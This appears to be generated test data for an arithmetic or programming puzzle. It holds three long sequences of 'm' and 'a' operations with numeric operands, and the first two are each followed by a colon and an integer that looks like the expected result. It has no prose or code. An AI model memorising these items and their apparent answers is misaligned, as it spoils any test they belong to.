m4m5a3a3m2m4a4a2m4m2a1m2a4m1a4m1m4m2a1m3a5a2a5a2m1a2a4a3a2m4a4a4a2a1m2m2a3a5a3a5a4a1m1m4m3a5a1m2a2a1m4m5a1a5a3a2a2m3a5a4a2a1m4a2a4m1m5a5m5m3m4m1m3a1a2m3m1a4m4a3m2m4m3a3m1a2m5m5a2m5m1m1a3m5m1m3a2m2a4a1a2m1a2m5a2m3a4m3a1m4m4m1a3a5a4m3m5m5m2m4m2m2a2a1a5m1a5a5a5m4a2m1a2m4m3m1a3m4a4m4a1a4m5m1a4m1a3m2a3m4m5a5m5a1a4m5a3m4a4a2a2m4a5a4a1a3m4a3a2a1a5m5a4a2m1m1a3a3a4a2a4a5a1a5m4m3m1m2m4a1m5a3a2a4a2a5a1a1m1m2m5a5m3m2a2a3a3a4a2a3a4m5m1m4a1a1m1a1m5a2a2a4a2a4m4m2m3m2a5m2m5a3a4m2a1a5a4a5m1a4m3a2m2a5a5a4a1m4a1a1m2m3m4m3a4m5a2a1a5a5a5m1a5a1a4m2m2a4a4a5m4a5m3a3m3m5a4a5m5a5m4a4m5a2a4m1m4a4m5m5a4m3m1m1a1a5a5a1a5m5m5a5a3a1m5m5m5m3m5m5a4a1m5a3a2a4m5a3m4a5a1m1a5m4m3a1m4a4m5m4m3m5a1m1m1a1m2a5m1a4m2m2a3m2m1a4m4a2m2m4a1m5a4a1m3m1a4m1a3a1m3m3a4m2a5a3a1a5m4m1a5a5m5a1a4a2a3a4m4a5m1a2m1a5a3m3a3m5a4a2a2a2a5m1a5a1a1a3a3m4m3a1m5a4m3m2m4m5m1a5a1a2m2m2m3a5m1m5a4m5m3m2a2a5a2a5m1a2a3m1a5m3m1m1a1m5a5a1m3m4m3a2a3a2a4a3a1m1a1m1a3a4a3a3m2m1m5a5m1m1m1a5m3a2a1m2m3a2a3a4m4a4a4m5m3m3a1m3a2m3a5m2a2a2m3m5m2m1a5m1a5m2a1a1a5a4m2m4a4a2m5a5m5a2m3m4a3a1m5a2a4m5a2a3m3a1m1a1a3m3m4m3m2a1m3m2a3m5m1a4a1a2m1a5m5m2a3a4m3a2m2a2a2m4a4a4m5a4m4m5a3m2a3a4m3m1m2a2m1a1a3m5a3a4a5a1m2a2a1m2a3a5m4m5a3a2a1a5m2a4a3a4m3m3a5a4a2a5a1m4a5m2m5m4a1a3a5a1m4m2m1a2m5m2a2m2m1m5m5a3a3m5a5m3m5m4a5m4m3a5a5m4m5a2a3m3m3a1m2m2m2a3m4m3m3a3m1m2a2a1a4a3m1m2a1m3a4m2a1m3a3a2a2a5m3m1m5m1a2a5m3m1m2m2a2m5a5m4m5m2a5a5a2a3a4a5a4a2m5a1a4m3m4a1a1a5a4a5m1a4m3a1a3a4a5a3a2m2m2m5a2m5a3a4a2a4m5a4a5m3a2m5a1m3a4m4a4m4m2a2m5a1a4m1a3m1m1m5m2a1a2m3m3m5a3a3m2m4a1m1a2m1a1a2a1a3m1a5m3m3a3m4a3m3m4a4m5m1a5m1m3m2a3a4a3m1a2a4a4m3a1m4a4m4m2a4a4m5a5m2m1m1m5m5a2a2a3a4a4a2m3m1a1a2m3m3a3m5m1m4a5m3m4a2m3m3a5a5m5m4m4m2m4a3m4a5a4a2m5a2m5a5m2a2m4m3a3m5m1a5m2m2m5a5a5a1a3a3m3m1a4m3m4m2m4a1a4m1m5a1m5m4a3a4m5a3m5m3m4m3a5m5a2m2m5m4a1a3m4a3a5a5a5a3m5m5m2m3a3m3a5m4m4a1m1m2m4a2m2m4a1a4m5a5a3a5a1m1m1a2a1a3m2a2a2m3a1a1m4m2a4a2a4a4a4m4m4a5m1m1a3a5m2a1m2m1m3a4m4m2m3a1a2m3a2m3m2m5a3a3a1a3a4a2a5m4m1a2m3a2a2m2a2a1a1m1m5a3a2m3a2a2a2a3a4m2m2m5m3a2a2m2a1m1m2m1m2m4a3a4m3m2a5a5m2a3a4a2a1m5m2a5m2a5a2m1a5m2a2a5m2m3a2a4a5m5m1m4a1m3m4a3m2a5m2m2a1m2a3a4a2a4m4m2a4a3m2m2m3m1a5m3a5m4a4a4a3a4a5m3a1m4m1a4a1a5m2m1a1a3a5a3a1m2m2m5a2m2a2a2a1a1a4m1a5m2a2a3m2a1m3m3m3m3a2a4m5a2a2m1m3m4a3m4m3m3a1m2m4m3a2m4a1m5m5m1a1a4a2a1a4a1m2a2m2a2a3m1a5a1m2m2a1a3m2m3m1a3m4a2m2a4a5m4a1m2a5a1m3a2m3m1m2a3a5m3a1m4m2m3m1m1a1a5a1a3m2m3m5a3a2m4m5m2m3m3m1m4a2a4a1m1a2a1a2a2a2a3m3a1m2m1a2m5m3m4a1a4a2a3m4a1m4a5m1a5m3a2m3m1m2a4a4m5a1m5a2a2m2a4a3a5a2m3m5a2m3a4m1m5m1a3m2a2a1m1a5m5m4m1m4m4m2a1m1a1a1m4a3m4m1m3a4a1m2a4m5a1a5a5m1m4m5a3m2a1a4m1m4m3a5m5a1a3a3a2m4a5m1a3m5a3a1m1m2a3a3a5m1a3a1a1a1m4a4m4m5a5a1m5m3m5a2m3m2m4m4m2m3m2a4m3m2m3a5a5a1m1m5m1a5a5m5m3m3a5a3a3m1a2m3a5m2m5m3a3a4m2a4a3a1m3a3m3a3a5m5m2a2m4a2a4m2a1a3m2m1a5m5m3m4m1m5m4a2m4m1m3m2a3a3m2a4m2a4a2m2a2a4m4a4m4m4m4m1m5a5a3a4a1m5m5m4m2m2m2a1a1a4a2m2m3m2a2a2m2a5m3a1a3m2m5a4m1m1m5a4m2a1m3a3a5m5a1m1a2m3a3m3a5a5a1m3m3m3m3m2a2a2a5a5a1a3m5a3a3a2a3a1m5a5m3m5m3m4a2a5m3a5a4m5a5a4a5m5m2a1a2m2a2a2m5a2a3a4a4a2m1a4a1m2a1m4a4a1m1m5m2a1m4a1a2a3a4a1a5m5m5m1m4a1a2a1m4m5m3a2a4m3m5a5m4m2a1a5a4a2a2a2a3m3a1a1m4a1a3a5m5a4a2a5m4m3a1a2a5m3a1m1m3a3a1a5m1a3m1a2m2a4m1a1a5m1a5m5a2a2m3a4a3m3a5a5m5m5m3a2a3m1a2a1m2a1a3m5m5a1m3a5a1m4m3m2m2a1a5a5a5a4a1m3a4a1a3m5a5m2m5m5m1a2a3a3a2a4m1a3m5a4m1a1m1a1a4a1m5m2m4m3m2m3m4m3m3m1m1m5m3a3m5m2m5a2m1a5a5a1a5a1m2m5a5a2m3m2m4a5a1m2m2a5m2a2a1m4m3m4a2a2a1a2m1a4a3a4m1m4a3m1a3m2a2m3m5m5m2a4m1m2a5a3a2a2a5m5a2m2m3m5a1m2a3a4a3a3a3m5m3m3m1a2a1m4m5a4a4a3a5m4a4a1m4a1m4m4m1a4m1a5a2m3m4a4a4m5a2m5m4a4m1a3a5m3m5m1a4a1a2m1a2m2m5a2a1m1m5m5m1m1m2a3m1m2m1a4m1a1a4a2a5m3a1m3a5a3m3m2a2a1m5m5a2a5m3a5a1m5m1a3a1a3a2a4m3m5a3a2a3m3m4m2a5a4a2m5a2a1m1a4a3a4a1a4m5m3a3a4m4a5a4a5a5m4a5a3m2m5m5m2m2a2a5a3a1a3m5m1m1m1m4m3m3a1m2m5a3a5m2m3a3m5a3a4a3a5a1a5m5a4a4a5a1a4m4m3m3a5m5m4m2m3m4a5m3m3a1a3a4m5a5a5m1m4a2a2m2m4m3m3a1m1m5m3m1a1a4m5m5a5m1m3a1a2a4a2m4a3m3m1a2m2m4a2a5m1m1m5m1m5m5a5m2a2a4a5a1a4a5a3a4a5a3a3a3a5m5m1a4m1m5m4a5m2a1m4m3m5a1a3m3a2m1a5a5m4a2m4m2m3a3m4a2m5a3m4a2m3a1m5a1a2m4m4a3m5m2a5a3m4a5a5m3a2m3a3m3a5a5m5m1m5a1m4m4m3m1a4a1a3m2m5m4a3m4a5a1m1m5m2a2a1m3m5m1m2m5m3a2m2a3m3a3a3m5m5m4a4m4m2a5a5m5m5a3a3a1m3a5a3m2a2m3m3m3a1m5m4m2a4a4m1m5a2a2m3m5a2m5m2a4a5m4a5a1m2a1a3m5a5m3m5a3m2a5a2a1m2m2a4a5a1m5a2m1a4m1a3m1a2a4m5a5m5m2a4m4m3a2m2a2a4a4m5m4m1a2m5a3m5m1a2m3m1m4a5m1m5m3m5m3a5a1m2a4a1m5m5a3a2a4m1m3m1m3a4m3m1m4a1m2a3m3m5m1a5m2a1a5m3a4m3m1a2a5a2a4a3m1a4m3m3m5m3m1a3a4m3m2m5m4a1a5a5a3m1a2a5a5m5a4a2a1a4m2a5a3a1m1m5a3a3a1a5a5a2a4a4m1m4a3m4a3a1m3a4a4m1a5a1a5m5m1m2a1m3m1m2a1m2a2m4a3a5a5m3a3m1m5m4m1m4m2m3m1a1a2m1m3m4m5a1m4a4m3m4a1m2m1a3a4a3a5m4m5a3a3m1a5a4m5m5m5m3m4m3a1m3m5a4m1a4m2a5a2m4a1m3a2m2m4m5m2a2m4a4a3a3a3a3m2a4a2m4a2m2a5a2m2m1a1a4a5a4m5a1m2m3a2a2m3m2m5m2m3a4a5a4a3m1a5a4m3a3a4a5m1a4m5a2m5m4m2a4m4m5a4m2m5m1a3m2a1a1a1a1a4m2m2a2a1a1m2a4a5a5m1a3m4a1a5m2a1m5a4a4m1m4m3a1m1a5m2a3a1a1a5m3a3a4m3m1m1m4a2a1m2a1a3a3a1m4m1m3m4m2m5m4m2a5m5m1a5m4m3m1m3m2a2m4m3a3a1m3a2m4a3m5m2a3m1m1a3m5a5m3m3a1m2a4m3m5m5a2a4a1m3m5m2m4a5a1a2m1a4a2m4a1m2m1m3a4m4a5m4a5m1m4m2m1m4a5a1a4a5a1m3m1a1a3m5m4m1a3a5a3a2a2m4m5m3m3m2m2a4a5m1m5a4m3m2a1m4m1m5a5m1m4a4m4m1m2a5m5m5a3a3m1m2m5a3a3m4a5a5m5a4a5a2m5a4m5m5m1a4a2a3m2a5m1a5m1m1a3m3m5m4m3m2m5m1a5a3m2a1a4a4m2a2m3a3m2a5m2a4a4a4m2a1a4m4a4a1m2a2m3m1a4a2a3a5a5m5a5a3a2a4a2a3m5m5m4m2m4a1a5m4a4m3a1a3a5a3a3m2a3a4a5a3a2a3a4m5m4a3m5a2a4a4a1m2a3m5m1m2a2a2a1m4a4m2m4a4a5m4m5m1a4m5a5a2m1a3a5m2a1a5m5m3a3m1a4m1a5m2a4m2m4m5a5a3m3m4a3a5m5a1m3a5a1m2a4m2a4m3m1m5a2a3m1a5a3m3a5m5a5m3a2m1a5m1a1m3a1m2m5m3a5m5a1m1a2m1m3m5m1m2m5m2a5m2m2m1a4m4m4m3a4a5a3a2m4m4m4a1m3a4m4m1m4a1a3a4m5a3a1a3a2a1m4a5a1a4a1m1a3a3m2a2a3m4a1m5a1m2a2a2m5a1m5m2m5m2m2m5m4m4m3m3a4a5m5m2a1m4a3m5m2a1a5m2a4a4m4m5a5a2m2m2m2a4m4m5a1a4m4a3a5m3a3a5m4m2m2a5a2a3a4m5m1a1m3a4m2m2a3m1a2a2m2a3m1a1a2m4m3a4m3m4m5a4a1m2a4m2a2a4a3a3m1a2m3m1a2a1a3m4a5m4a2m5a2m2a4a5m1m3m3a1a4a5m5a5m5a1m4a4m4m4a2m4a1a3m4m3m1m5m4m2m4m3a2a2m4m2a4m1a3a2m3a1a2m4m2a1m3m1m2m1m5m5m5
:1956093270
16m79a27a12m56a87a10m21m28a14m67a27m38a57a78m47m52m39m33m28a74a30a31a91a24a16a6a48a95m86a50a34m13a4m66m35m54m13m52a78a76m37a61a20m35m72a82m52a52m9m87m92m11m24a77m90a82a4m4m97m29a8a26m3m8m94a63m70m55a29a55m84m94m11a22m79m73a51m46m18a77a47m8a10m80m17a35m34a27a81m93m74a91m9a36m61m57a79a58m55m88m50m99a80a3m93a36a44a10a56m79a42m46m96m40a10a74a28a34a19a84m55m3a23m41m7a38m50m55a86m58m11m76m92m21m42a69a97m10a34m44m88a62a25m30m26a88m96a75a82a25m42m22a59a68a69m73m92m98m88m44a84m17a72a68m2a93a41m8a4m94a83a36a6m84m89a28m92m50a5m68m37a44a90a100m59m63m86m83m71a8m99a14m20a16m25m72a7a79a76m40a53m7m48m19m43a60m28m75a52a87a70m49m58m69m52m14m68a88a30m33m1a52a38m98m27a49m75a54a81a22m89m59m80a66m23a23a86m23m32a84m24m15m48m50m52a77m48m19a81a8m48m97a22a62m38a99a43m64m28m42a82m67a77a29m66m44a51m93m80m20a82m66m97a47m6m54m11a56m29m10m60a57a51m62m39a4m87a71a84m6m30a89m3a38a63a53m51m51m17m60m16a34m40m78m91a78m58m78a62a33a70a21a100m97m91a30a58m8m54m16m84m52a61m86m10m9a81a60m29m58m62a20m35a64a17m44m30a71m7a15m78m86m91m39a13a99m14a78a37a23a43a43a34m34m47m17m51m32m44m61a10a29m3m79a98m90m19a62m12m22m17m19a32a36a82a18a62m79a67a54m7m96m23a24m33a79m7m61a56a49a38a28a67a40a77m47a80a74m58m49a44a85a84m12a71a6a72m70a39a67m33a65a10m13m48m8m30a98m48m80m99m49a100a66a55a26m46m34a95a82a13m37a77m63a43m50m79a53a99m59m64m52m34m47m93a93a81a62a31m5a9m34m4m47m52a26a68a4m78m60a38a36m19m51a32a31a92a9a83a30m28a75m90m32m17a94a23m30m82a26m61a90m81a20a11m49m90a79m25m74a38a25a89a12a16m12m91a38a25m1a99a72a40a47m99m65a84a85a52a69m22a95a34m84a10a33m26m79m78a68a17m93m35m56a22a4a38a25m26m34a42m34m50m17a90a85a46m99a32a40m25a100a34a64a4m17a53m14m2a11m9a84m2a36a90a18m68a45m95a90a67m61m46m54m87m38a95a12a26a58a90a11a93m35m57a52m83a54m94a98a43a15a91m82m44m14a12a65a40m71m87m8a79a31m83m86a26m69m42m55m39a19m15m43a40a83a56m48m65m50m99m82a27a82a50m4m33a28a46a41a77a35m48m68a77m96m89m23a49a16m91m38a90a99m24a6m100a66a44m22a34m94m70a9m62a89m72a61a60a58m61m10a8m91a10a80m63m30a38a23a24a17m94a32a38m28a8m30a91m8a13a65m95m10a32m61a72a94a28m20a50m88a56a16a9m17a94m8a8a40m39a26a98a59a53m84m30m6m13a94a28a80m60m20a30m96m91a60m90m7m69m57a41m26a16a53a95a44a28m94a57a46a2a66a32m8m44m97a90a72a33m19m48a60a70a41m17a27m67m85m16m51a85m32m30m66m100a74a27m52a82m40a91a53m41m4a46a77m44m76m14a42a60a44m63m84a63a27m71m61a53m93a42m26a76m85a100m94a82a34a78a28m16a18a26m49a29m5a61m70a46m100m2m62m76m87a17a52m62m99a82a23a3m47a68a43m87a11a54m86m66m49a79a40a63m3m64m80a65a2m22a7m26a35a46a35m58m21m8a1m26a33a35a34a38a100a26a61m58m9a63a97a11m4a36a87a100a92a49a27m46m27a13a51m88m49a26m50m40a50a44m9m8m10a13a91m27a58a23a62a100m57m88a17m54a8a56a46a55a37a61m14m99m28m3a8m19m1a82m94a83a39m41m94m1m77m36m29m3a6a22a40a62a40m30a66m90a78m39m91m70a54a24m56a74m60m41m8a85m66m45a15m1m30m90a44a71m69a52a55a65m83m5m81m28a92m82a47m12a62a1m17a96m2m2a89m36a31a23m1m29a43m24m35m26m25a17m33a61a9m78a99a75m7a60m90a65a24m97a56a73m81a39m47m64a66a96m90a67m94a67a18a98a70a38a37m48m31a24m57m10a65a68a58a40m54m46a90a90m68m64a100a57m40m17a87m57a67a82m4a25m11m13a83a72m99a69m72a50m56a72m66m9a64a58m72m25a73a72a98a52m73a8m9a68a63m60a89m17m78m38m3m88m89m92a66a25a95m46m82m7m81m100m7m29a59m84a17m29m21m99a42m55m65a48m22a67m69m36a66a37a77m61a87m94m74a91a92a91m80m51a88a8a3a89a50a42m56m94a22a8a71m99m61m74m52a84m93a73a14a49m45m18a47m56m38a7m7m59a98m28a90a68a61m39m98a59a51m38m98m18a31m53a51m63a96m47a37a55a65a27m39m69m41a95a99a1m71m82m5a31m89a56a43m66m21a15a99a77m6m79m80a21m69m79a29a68m99m14m86a89a57a84m74a22m9a47m45m19a76m78m81m77a3a70m55a90a92m10a66m32m36m26a19m65m62a60a47a67m57a1m31m17a84a75a51a1m39m75a45a76m42m73a96a74a97m44m54m75m38m56m47a96a22a44a26a28m47m17a76a7m51m38m66a71a100m49m39m96m63m54m71a25m1a23a4a18m70a12m78a79m30a95m80a37a43a69m51a89a78a20a40a94a31m30a83a21m6m78a98m13m4a96m13m45m37a49a32m23m75a85a18a75a25a54a99a21m35a84m48m26a42m58a7a25a35a31m70a81a57m44m13m31a70a84m80a98a18a71m21m27a33a58a10a78a89a82m44a11a100m36a81a72m62a60m42a15a36a58m13m83m34m88a14m16a44a3a78a34m27m6a90m12a89a6m64m20m10m28m67a14a41m55a21m63m17a74a29m94a65a81m28m2a82a42m74a57m37a59m86m66a100a66a29a42a41m36a28a61m4a46a85a29a80a17a92a74m26a13a55m57a36a52m17a40m18a58a87m56a22m50a58m9a68a46m68a12m67a33a39a18m74a24a27a87m90a49m79m63m51a81a63a31m71m89m52m60a92m19m12m66m93a19m100m25m55m23a76a94m41m16m69m68m85m74a38a94a11m2m60a3m77a83a74m32a95m57a20a66a11a86a63m32a99a4m34a81m37m93a52a12m30m15m67m51a19a76m49a57a21m80m33a62a60a26m40a66a43a6a71m72a49a92a25m26a60m95a47m89a59a80a30m14m46a39m39m60m84m95m98a14a44a87a97a11m100m52a2m55m27a19a98m17m83a5m49a22a67m22a36m94m60m80m73m32a83a39m36a24a34a6m40m59a3m43m1a77m7a64m34m99a41a90m70a5a4a97a35m36m34m27a47a92m4m55m67m33a28m88a48m53a28m81m52m96a21a58m73a19a82m36a59a95m51m43a84m23m58m14a100m35m7m70a89a62m78m57a85a13a91m19m86a81a59m5m56a93a72m80a88m41a26m31a90a32a23a6a68a35a61a86a83a47a79a30m15a11a13m97a71a90m83m21m22a56m14m42m5m51a74m12a66a82a49m9a61m95a93a3m14m97a25a11a20a37m45m47m19a9m34a7m56a20a47m57m1m39a20m37a49m61m94m34a9a12a80a15m74a64m34m92m96m55m76a17a71a65a5m25a42m73a52m35a91a19m91a67m21m66m25a91a30m73m68m71m12m31a85a56m42a12a49a41m1m89m25m65m49m92a10a61m95a29a45m88m98a57a76m22m15m59a48m90m68m95a87a60a35m77a45m15m76a59a45a52a100a43m78m27a72m1m87a17a34a55a43a50a97a48a98a36a84a56m72a63a45m30a66m13a71a10m85m16m65a87a25m49a71m54a22m63m69a24a95a70m8a22m16a81a63a17m51a34m84a75m32a18a20m49m46m59a74a65a64a41m57a55a39a29m96a46a55m45a37m71a30m88a48a12a45m21m78m60m50a90a90m75m55a28a20m76a86m38a64a80a88m92a87a45m27m74a90a7a22m70m3m27m68a89m76a1m99m37a93a73m46m50m73m80m49m15m58a3m72m53m59a4a88a57m35m100m72m5m97a15m87a74m86m21m28a12m3a67a78a35m35a35a33m64a33m7m54a56a51m96a66a33m21a72m86a21m73m61m38m79m91a36a40a76a51m51m69m22a74a72a68a57a82a10m13a8a7m98m52m24a66m78m10m12a73a7a72m53m96m54m50a6a14a42m15m93m14m40m61a83a88m76a53m75a41m73a52m31m23a81m55m80m29m35a68m2m19a16m25m11m53a87a65a97a3a25m62m99m50a2m63m70a42a81a89a74a50a48m30m81a66a97m53m100m92a82a98m20m31m4a76m24a13a45a76a63a16m33a27a74a62a63m41m79m67a7a80m57m86a83a47m51m98a31a84m22a98a92m52a23m71a64a51a57m89a23a30m66m86a7a66m68m18a39m51m87a98m68a20m49a39a58a12a53m63a99a57m72a55a54m62m81m2a77a80m8a73m79a56a85m62a51a81a78a88m98a100a27a68m75a54a4m88a54m30a33m46a60a15a26a60a11a40a69a76a52a67m57a33m96m96m1a54a33m82a18a98m24a68a79m16m58a79m69m84m63m73m33m19m52m95m41m75m35a77a96a4m84a65a82a92a90m48m40m76m12m3a90a51a43m84a96m54a52m13m72m42a38m94m41m27m66a23m55m19a6a35a20a58a39a45m43m99a8m16m16a44a12a35m8m45m69m77a75a7m40m40a31m65m4m99m95m63a57m28m11m18a66m26a35m55a25m45m78m22m52a37m21m10a38m20m56m22a94a62m50m66m75a96m33m97a83a97m27a34m44m41m28a65a8m43a98a53a97m58a83a80a37a49m11a78a98a57m64a34a48m26m27a12m100m13m34m51a83m73a52a68a73m8a96m38a82m43a99m2a78a54a17a42m48m21a73a3a51m19m71a47a40m91m38m40a35a2m23m6m17m80m64m72a54a41m84m66m65a96a21m8a37m35a74m72m42m4a90a59a32m84a25m20a51a92m47a62a88m67a18m38a10a12m22a70a60m66m38m2m72m80a8a53a97a47m63m67m36a37m96a85m95a50m65m3a74a24a24a3a13a87m89a85a46m1a5m83a6a55m97a51m63m18a89m79a28a47m82m16m11a16m34a11a93m82m84a48a44m99a35m23a82m94m48m70a83a10a71a33m33a39a88m45m59m91m76m36a6a32a29m17m61a19a65a89m18a79m96m31m49a64m54m8m73a31m45a3a95m88a43a9m75a65a59m19m75m68a44m81a17m26a87m10a5a11m95m56a47m68a1m75m80m65m82a57a30a54a38m69a39m88a36a88m58a10a9m71m8a82m53a56a50m79a12a92a26m60m85m79m14a92m60m55m77a37a82a4a28a44a15m36a56m49m78m40a25a94a72m38m23m27m35a64m1m68a68a46a25m46m64a45a77a49m29m30m61m29m71m86m44a4a95a56a32m86m85a16m63m75m94a86a77a97a20a40m45m99a44m29a43a96a74m12m36a45m7m12m72a23m9a16a100a100m75m78a72m24a76m75a50a21m14a33a88m68a74m3a23m32a60m29m79a81m42a58m15a28a86m18a24a69m35m19a13a40a88a26a35m83m26m92a77m8m7a4m38m82a9m80a71m96m61m83m64m9m47a22a49a73m44m32a17m78m4m67a34a25a36a60a2a10m76a11m3a10a46a9a18m66m99a100a31m72m28a99a25m99m88a68a75m18m19a83a48a99a16m23m52m88m75m72a43m25m70m77m73m41a41a65m67a82m13a6m42a99a85a48a33m46a83m87m96a95m28a12m34a35a48m10m11m36a87a70a76a81a42a44a32a29a43a46m16m69m50m60m42m86a57a83a60m3a71a71m55m92a88m50a49a13m56m14a40a29a6m81a54a65a61a13m12a28a70a67a70a6m65m19a71m66a67a92m58m66a9a96m1a53a52a81a61a77m68a14m96a79a14a5m54a11m43m58m96m39a2a55a44m85m73a79m83a76a13m31a18a42m85a77a61m33a92m5a89a49m67a30a88m18a7m34m90m44a48m39a25m72m38m96m24a34m13a21a24m28a73m94a10a37m28m74a72m58a81a43a15m90m17a43a80a87m87a44a99m80a91m64m90m55m86a42m75m27a9a10a100a31m53m79a78m16m71m15a39m13a48a72a16a47a89m15a9a64m83m74a81m75m87a52a87a34m5m11a33a100a38m21m73m65a14m70a94a43m77a97a22m26a45m12m2a80a36a74a79a54a78a11a93m66a3m87a23a11m25a96m34m100a34a1m92a22a5a47a77a30a81a52m29m21a34m97a63a57m62m51m53m78a64a56a36m62a76a79a43a29a9m9m86a82a26a42a93m5a11m45a23m14m54m97a75m25a47m76a49a84m8m28m27a96m15m60m81m42a12m88m48m82a45m52a28a23a15m16m36m57a47a4m84m97m80m22m2m53m30a96m74a34a10a86m3a88m29m12m67m28m32a68m72a5m55a4a87m21a2a47m42a54m4m89m3m90a63m12m22a26a85m100a22a58a12m64a21m29a45a16m72a33a50a30a97m16m61m91m35m63a12a69a100a26a49m13a55a19a10a85a54m52a76a68a61m81m96a18a80a15a36a47a46a78m97m13m71a66m20m63a15m48m46m49m64a74a43a42a79a1a51a99m70a100a38a61m74a33a98a64a85m26m48a96a21m44a20m34a62m21a49a40a32m51a3a51a62a68a26a9m28a32a60m95a6m72m26a67m64m30a9a83m10a89a87a28a23a55m5a89a43a93a37a73m83a63a57m28a13m11m46m96a60m78a4a89m10a74a28m35a97m70a90a96a62m100m40m1m27a91m34m68a18m42m55m54a44m7a83a27a71a51m17a64a52m2m28m23a14a59a3m38a47a90m52a37m93m86a88a92a46m99a44a39m100m9m48m93a38m71a17a57a41m89a3m70a96a100m82m57m36a27m90a83m7a13a11a63a11a81a64m39a54a69a72m63a70m61m89m85m22a1m60m54a98a3m87m60m52m31m34a50m15m93m84m52m19a43m7a21m81a86a22a24a9a24a51a69m53m24a95m83m40m31m57m26a26m56a20a76a92m88m83m83m52a93a76m47a71a24m52a49a8a33m28a99m90m18m18a38m72a55a5m57a30a37m92a61m62m84m92m9a12m57m7a76m39a63m83m78m54a3m1a69m16a13m99m6a37a21m51m25a9a76m90m37a43a38a77a54a10a25a7a30m12a26a40m5a75m45a47m38m55m52a93m44m98m44m67a59a70a91m40m42m60a3a83a45a82m93m91a54a65m20a60m22a3a59m81a11a37m100m62a35a54m33m5m2a77a60m24m22a96a32a92m93m56m15m56m19a64a67a44a44m58m88m4m64m65m46m15a12a32m8a70a41a38a90m93m57a64a44a1a86a69a70m99a91a46a20m63m43m3m96a39a74a70a45a42m87a81m9m8a88a34a92a99m6a25a87m55a57a15m32m81a56a70a67m94m69a17a91a87a42a7m27m91m28a60a18a66a56m24a22a9m32a55m46a80a39m4a85a91m55m3m10m73a95a54a62a34
:743494575
293m719a336a336a718m444a995m600a98a391a561m479a441m29a92a811a399a323a511a718m682m543a144m916m825m336m477m977m415m321a35a24a550m585m508m356a299m889a640a265a867a140m494a619a836m724m606m186m531m383m473a707m652m987a198a32m54a302m60a147m946a927a622a883a60a619a129a858m580m875m841m616m904a275a119a532a854m674m873a689m2a257a299a643a785m262a583a743m107m996m636a761a308a96m184m500a707a748m1000m437a639m588a818m88a910m412a799a387m26a171m441a732m550m524a217m10a317a872m352m591a235a883m737m728a511m235m285m908m593m323a607a828a576a407a49a415m820m451a501m455a61a162a265m26a656a391m386m626m550a949m672a775m796m154m12m285m187m1a732a824m867m419m498m471a522m355a567a667a79m6a559a444a866a578m823a228m87a209a334m282a316a255a461a991m88a344a421m586m902a626a708a356m228m649a990m502m663m833a57m547a395a260m864m592a356a456a521m958a798a746m700a894a591m641m679m429m337m689a896m129m928m424m316a558a241m794a761a240m820a233a28m792a154m232a952m63a713a960a104a731m427m990a493m564m843m783m215m966m492m875m245m328a898m434m89a473m467a880a776a198m309a828m84m890m955a507m997m248m908a372m165m393m811m186m875m310m799a55a715m920m612a154m996m778a492a551m870a184m92a716a118m684m45a319a917m777m757m743m616m448a260a377a694a85m565a791m90m159m554m561a788m814m670m640m547m621m271a995m468m239m465m825a206a420a253m38m54a766a482a826a868m7a602m190a836a554m451m104m908m697a760m408a383a47m121m261a832a430a223a144m326m177a954a31a512a61a169a811m479a394m714m661a512m155a589a201a661a801a163m391a143m932m814m457m152m501a149a622a614m849a512a668a721a803a821a473a670a825a94m3m30m37m979a199m605a912m598m396m421m44a284a369a185m841a729a558m25a977a634m585a87a805a712a156m506a21m71a699a73m455m965a246m53m960a623a85a259a150a168a387m407a200a301m724a13a313a622m851m589m726m498m287a472a445m535a705a144m456m169m102m419m477m620a943a316m935m204a572m787a566m360a729a68m381m495m540a116m754a949a335a918a478a245a113m414m971a988m377m934a395a195m782a354a757m160a405m139m389a386a2m579a342a620m27m733m208a584a592m701m898m62a209m327a532m520a235a36m79m328a526a873a90a656a660a714a608m981m524a591m906m681m968m316m185a842a878m886a804a275m313a21m819a4a238a317m849m623m532m602m154a154m175a594m519m374a795m970m401m644m948a211a289m880a169a225m646m588m582m928a760m902m897a347m113a4a794a920m398a201a73m763m137m729m145a494a999m827a148m190a331a597m895a807a583m982m755a707a440a31a906m614m202m748m99a145m769a332a127m156m593a232a690m600a918a214a152a439m11m969m946a286m991m197a544a357a135m335a44a640m592a857a447m247m308m660a566m651m17m939m312a792m506a288a677a246a394m910a34a38m4a47m139a708m30a60m539a29a584a385m607m54m481a494a304m202m834m122m452a437m742m509a971m14m638a826a643a340a640m411a874a949m568a841m476m936m706a774m441m838a181a804a295m845a771a610m431m520a933m160m962a940m948a592m663m547a616m426a110a606a996a214a799m96a561a615m432m842m328a700m335m597a841m138a619a169m461a886a919m995a628m956m711m383a472a102m6a160m879a830a382m558m370m215m732a379a799m718m387m396m300a341m877a417a201a999m216m732m538m831a499a714a219m1000a94a877m349m217a227m933m808a549m563m316a344m843m602a791m579m297a150m120a778a911a892a732m115a784a86a237m888a435m74m369a762a422m510a442a456a199m403a199a285m269a421m579a405m213a45a55a151m503m428m593m136a390a901a985a199a726m637m298a553a125a27m48a614a810a545m767a499m446a729m719a100m383m618m50a99m902m551a223a10a467m614a161a335a817a236a219a394a959m706m224a742a910a955a418m324a81a191a945a419m785m938m7a295a349a669a943m241a329a889a133a831a734m120m309a570a726a765m131a235a971m552m510m271a436m951a579m510a929a481a644m440m196a67m203a972m180m713m565m348a218m857m999m73a572m231a571a770a659m506a129a705a816a526m976m590a111a999a964m828a136a795m598a89m248m387m749m821m244a191a995m780m527a165a202a658a67a590m431a24a648m442a121m170m782m292m925m953a477m413a638m22m985m835a980a307m916m15a413m884a563a770m876a39m843m415a565a475m581m158a613a556a832a880a377m274a216m69m384m819a699a543a682m22a202a27m760a935m757a237m406m237m93a798a819a317m401m800a319m253a666m573a188m681m397m612a808m45m632a21a5a656m854m95a299m102m372a700a41m928m740m223a192m533m366a672m716a661m363m968a435a389m357a357m642a869m223m127a544m794m579m658a540a825a807a1000m588a583m111m839a281a579m162a657a262a470m152m168m193m696m558m701m149a633a812m583a988a900a772m286m517m456m164a808m760m694a13m427m800a604a77m737m795a121m903a356a512m906a281m198m8a961m495m103m580a829a906a175m310m926a126m714m345m913a52m558m895a929a907a833a93m659a908a172m219a775a298m91a512m348m93m119a955a415m985a72m781a610a218m143m933a931a268a620a235a616m642m67m944m847m997m850m379a879a278a737a533a312m148m427m684a531a352m420m216a972a798m655a250m423a42a456a989m859m752a244m524a207a762a175a508a603m170m333m199a494m786m154a808m460m954a687a655m918m124m188m341m441a324a632a519m712a522m506a795a335a748a917a922a143m631m954m902a877m359a589a852m95m802m573a317m471a526a514m559a893m796a708m152a373a468a833a206m3